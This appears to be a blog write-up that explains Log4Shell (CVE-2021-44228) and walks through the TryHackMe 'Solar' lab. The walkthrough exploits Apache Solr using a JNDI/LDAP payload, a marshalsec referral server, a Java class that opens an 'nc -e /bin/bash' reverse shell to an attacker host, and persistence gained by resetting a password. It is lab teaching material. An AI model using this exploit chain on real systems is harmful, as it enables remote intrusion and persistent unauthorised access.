Dec 26, 2021

Log4Shell 0-Day Vulnerability 💀 (CVE-2021-44228)

Log4Shell (CVE-2021-44228) is a zero-day vulnerability in Apache Log4j 2, a popular Java logging framework. It is a remote code execution (RCE) vulnerability involving arbitrary code execution earning a severity score of 10/10.

img

What is LDAP Server & How Does it Works?

The LDAP (Lightweight Directory Access Protocol) is a open, vendor-neutral, software protocol used for directory service authentication.Organizations store usernames, passwords, email addresses, printer connections, and other static information inside the directories.

LDAP can address authentication as well.This enables clients to connect once and access many different files on the server.

image

The LDAP Process Explained

LDAP is vendor-neutral, so it can be utilized with a variety of different directory programs -

  • Descriptive - Multiple points, such as name and location, come together to define an asset.

  • Static - The information doesn’t change much and when it does, the shifts are subtle.

  • Valuable - Data stored within the directory is critical to core business functions and it’s touched over and over again.

The average employee connects to LDAP handfuls or even many times a day.That individual may not have the foggiest idea about the connection that has happened even though the steps to complete a query are intricate and complex.

An LDAP query typically involves:

  1. Session connection - The user connects to the server via an LDAP port (typically port TCP/389).

  2. Request - The client submits a query, such as an email lookup to the server.

  3. Response - The LDAP protocol searches the Directory for the relevant information and delivers it to the user.

  4. Completion - After receiving the response, the user disconnects from the LDAP port.

What is JNDI ?

The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows Java software clients to discover and look up data and resources (in the form of Java objects) via a name.

image

JNDI Implementation Possibilities

Like all Java APIs that interface with host systems, JNDI is independent of the underlying implementation. Additionally, it specifies a service provider interface (SPI) that allows directory service implementations to be plugged into the framework. The information looked up via JNDI may be supplied by a server, a flat file, or a database; the choice is up to the implementation used.[Source]

Architecture

The JNDI architecture consists of an API and a service provider interface (SPI). Java applications use the JNDI API to access a variety of naming and directory services. The SPI enables a variety of naming and directory services to be plugged in transparently, thereby allowing the Java application using the JNDI API to access their services

Packaging

To use the JNDI, you must have the JNDI classes and one or more service providers. The JDK includes service providers for the following naming/directory services

  • Lightweight Directory Access Protocol (LDAP)
  • Common Object Request Broker Architecture (CORBA)
  • Common Object Services (COS) name service
  • Java Remote Method Invocation (RMI) Registry
  • Domain Name Service (DNS)

Solar, exploiting log4j : A Walkthrough

The detailed write-up of the TryHackMe room Solar, exploiting log4j

Link to the room

Reconnaissance

  • Basic Nmap scan
┌──(root💀kali)-[~/log4j]
└─# nmap -sV -A -T5 10.10.129.133
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-20 13:48 IST
Warning: 10.10.129.133 giving up on port because retransmission cap hit (2).
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.64% done; ETC: 13:49 (0:00:00 remaining)
Nmap scan report for 10.10.129.133
Host is up (0.25s latency).
Not shown: 974 closed ports
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e2:35:e1:4f:4e:87:45:9e:5f:2c:97:e0:da:a9:df:d5 (RSA)
|   256 b2:fd:9b:75:1c:9e:80:19:5d:13:4e:8d:a0:83:7b:f9 (ECDSA)
|_  256 75:20:0b:43:14:a9:8a:49:1a:d9:29:33:e1:b9:1a:b6 (ED25519)
111/tcp   open     rpcbind        2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
593/tcp   filtered http-rpc-epmap
765/tcp   filtered webster
1063/tcp  filtered kyoceranetdev
1114/tcp  filtered mini-sql
1417/tcp  filtered timbuktu-srv1
1443/tcp  filtered ies-lm
2009/tcp  filtered news
2068/tcp  filtered avocentkvm
2710/tcp  filtered sso-service
2869/tcp  filtered icslap
3918/tcp  filtered pktcablemmcops
5214/tcp  filtered unknown
5280/tcp  filtered xmpp-bosh
5414/tcp  filtered statusd
6156/tcp  filtered unknown
6646/tcp  filtered unknown
7435/tcp  filtered unknown
8983/tcp open  http    Apache Solr
| http-title: Solr Admin
|_Requested resource was http://10.10.129.133:8983/solr/
9003/tcp  filtered unknown
9102/tcp  filtered jetdirect
16992/tcp filtered amt-soap-http
27352/tcp filtered unknown
30718/tcp filtered unknown
50389/tcp filtered unknown
52822/tcp filtered unknown
Aggressive OS guesses: Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.10 - 3.13 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT       ADDRESS
1   273.69 ms 10.6.0.1
2   ... 3
4   289.39 ms 10.10.129.133

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.25 seconds

From the above scan, we can see port 8938 running Apache Solr

8983/tcp open  http    Apache Solr
| http-title: Solr Admin
|_Requested resource was http://10.10.129.133:8983/solr/

What is Apache Solr?

Solr is highly reliable, scalable and fault tolerant, providing distributed indexing, replication and load-balanced querying, automated failover and recovery, centralized configuration and more. Solr powers the search and navigation features of many of the world’s largest internet sites

Discovery

  • Apache Solr 8.11.0 admin page

img

  1. Question

You should be able to see clear indicators that log4j is in use within the application for logging activity. What is the -Dsolr.log.dir argument set to, displayed on the front page?

/var/solr/logs
  1. Question

One file has a significant number of INFO entries showing repeated requests to one specific URL endpoint. Which file includes contains this repeated entry? (Just the filename itself, no path needed)

solr.log

Few log entries in solr.log

2021-12-13 03:47:53.989 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:54.819 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:55.284 INFO  (qtp1083962448-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:55.682 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:56.075 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:56.459 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:56.844 INFO  (qtp1083962448-14) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:57.253 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:57.548 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:57.758 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:58.058 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=1
2021-12-13 03:47:58.346 INFO  (qtp1083962448-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
  1. Question

What “path” or URL endpoint is indicated in these repeated entries?

/admin/cores
  1. Question

Viewing these log entries, what field name indicates some data entrypoint that you as a user could control? (Just the field name)

params

Proof of Concept

http://10.10.132.1:8983/solr/admin/cores?cmd=$\{payload}

The log4j package adds extra logic to logs by “parsing” entries, ultimately to enrich the data – but may additionally take actions and even evaluate code based on the entry data. This is the gist of CVE-2021-44228. Other syntax might be in fact executed just as it is entered into log files.

Some examples of this syntax are:

  • ${sys:os.name}
  • ${sys:user.name}
  • ${log4j:configParentLocation}
  • ${ENV:PATH}
  • ${ENV:HOSTNAME}
  • ${java:version}

General format of the payload to abuse log4j vulnerability.

${jndi:ldap://ATTACKERCONTROLLEDHOST}

img

Exploitation

We can now build upon this foundation to respond with a real LDAP handler.

We will utilize a open-source and public utility to stage an “LDAP Referral Server”. This will be used to essentially redirect the initial request of the victim to another location, where you can host a secondary payload that will ultimately run the code on the target.

  1. ${jndi:ldap://attackerserver:1389/Resource} -> reaches out to our LDAP Referral Server

  2. LDAP Referral Server springboards the request to a secondary address (This is a web server that we will configure to host the malicious java exploition.) http://attackerserver/resource

  3. The victim retrieves and executes the code present in http://attackerserver/resource

We will use the marshalsec utility offered at Github

  • If you do not yet have git, you can install it through your package manager
sudo apt install git
  • Clone the repository
git clone https://github.com/mbechler/marshalsec

cd marshalsec
  • If you do not yet have maven on your system, you can install it through your package manager
sudo apt install maven
  • Command to build the marshalsec tool with maven
mvn clean package -DskipTests

img

With this utility built, we can start an LDAP referral server to direct connections to our secondary HTTP server.

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP.ADDRESS:8080/#Exploit"

img

  1. Question

What is the output of running this command? (You should leave this terminal window open as it will be actively awaiting connections)

Listening on 0.0.0.0:1389

Set up a payload Exploit.java

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP.ADDRESS 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compile your payload with javac Exploit.java -source 8 -target 8

┌──(root💀kali)-[~/log4j]
└─# javac Exploit.java -source 8 -target 8
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

┌──(root💀kali)-[~/log4j]
└─# ls
Exploit.class  Exploit.java  marshalsec  solrlogs  solrlogs.zip

Once your payload is created and compiled, you can host it by spinning up a temporary HTTP server.

┌──(root💀kali)-[~/log4j]
└─# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

Note that HTTP server port number (8080 in this case) is referring to our LDAP referral server argument (8080).

At this point, our payload is created and complied, it is hosted by an HTTP server, our LDAP server is up and waiting. Now we need a Netcat listener to catch our reverse shell.

img

Finally, all that is left to do is trigger the exploit and fire off our JNDI syntax !

curl 'http://10.10.61.83:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP.ADDRESS:1389/Exploit\}'

Note that changes in port number (now referring to our LDAP server).

After executing the above command

img

You have now received initial access and command-and-control on a vanilla, freshly installed Apache Solr instance.

img

We need to stabilize the shell

  • python3 -c "import pty; pty.spawn('/bin/bash')"
  • stty raw -echo
  • export TERM=xterm

Persistence

Now we have gained a reverse shell connection on the victim machine.

  1. Question

Check to see what user account you are running as within the context of your reverse shell.

solr@solar:/opt/solr/server$ whoami
solr

If you would like to grant yourself persistence and access into the machine via SSH, then momentarily become the root and change the password for the solr user to one of your choice. This way, you can SSH as per needed!

solr@solar:/opt/solr/server$ sudo -l
Matching Defaults entries for solr on solar:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User solr may run the following commands on solar:
    (ALL) NOPASSWD: ALL
solr@solar:/opt/solr/server$ sudo bash
root@solar:/opt/solr-8.11.0/server# passwd solr
Enter new UNIX password: ritesh

Retype new UNIX password: ritesh

passwd: password updated successfully
root@solar:/opt/solr-8.11.0/server#

And we successfully logged in via SSH

┌──(root💀kali)-[~]
└─# ssh solr@10.10.61.83
solr@10.10.61.83's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Dec 23 11:57:59 UTC 2021

  System load:  0.01              Processes:           107
  Usage of /:   4.1% of 61.80GB   Users logged in:     0
  Memory usage: 83%               IP address for eth0: 10.10.61.83
  Swap usage:   0%


246 packages can be updated.
189 updates are security updates.


Last login: Thu Dec 23 11:55:07 2021 from 10.6.29.240
solr@solar:~$

Finally, an attacker can realistically do anything on the victim’s machine - whether it can be privilege escalation, exfiltration, install persistence, perform a lateral movement, or any other post-exploitation even potentially dropping cryptocurrency miners, remote access trojans, beacons, and implants or even deploying ransomware.

This is the exact reason why the internet was on fire during the weekend of December 9th, 2021.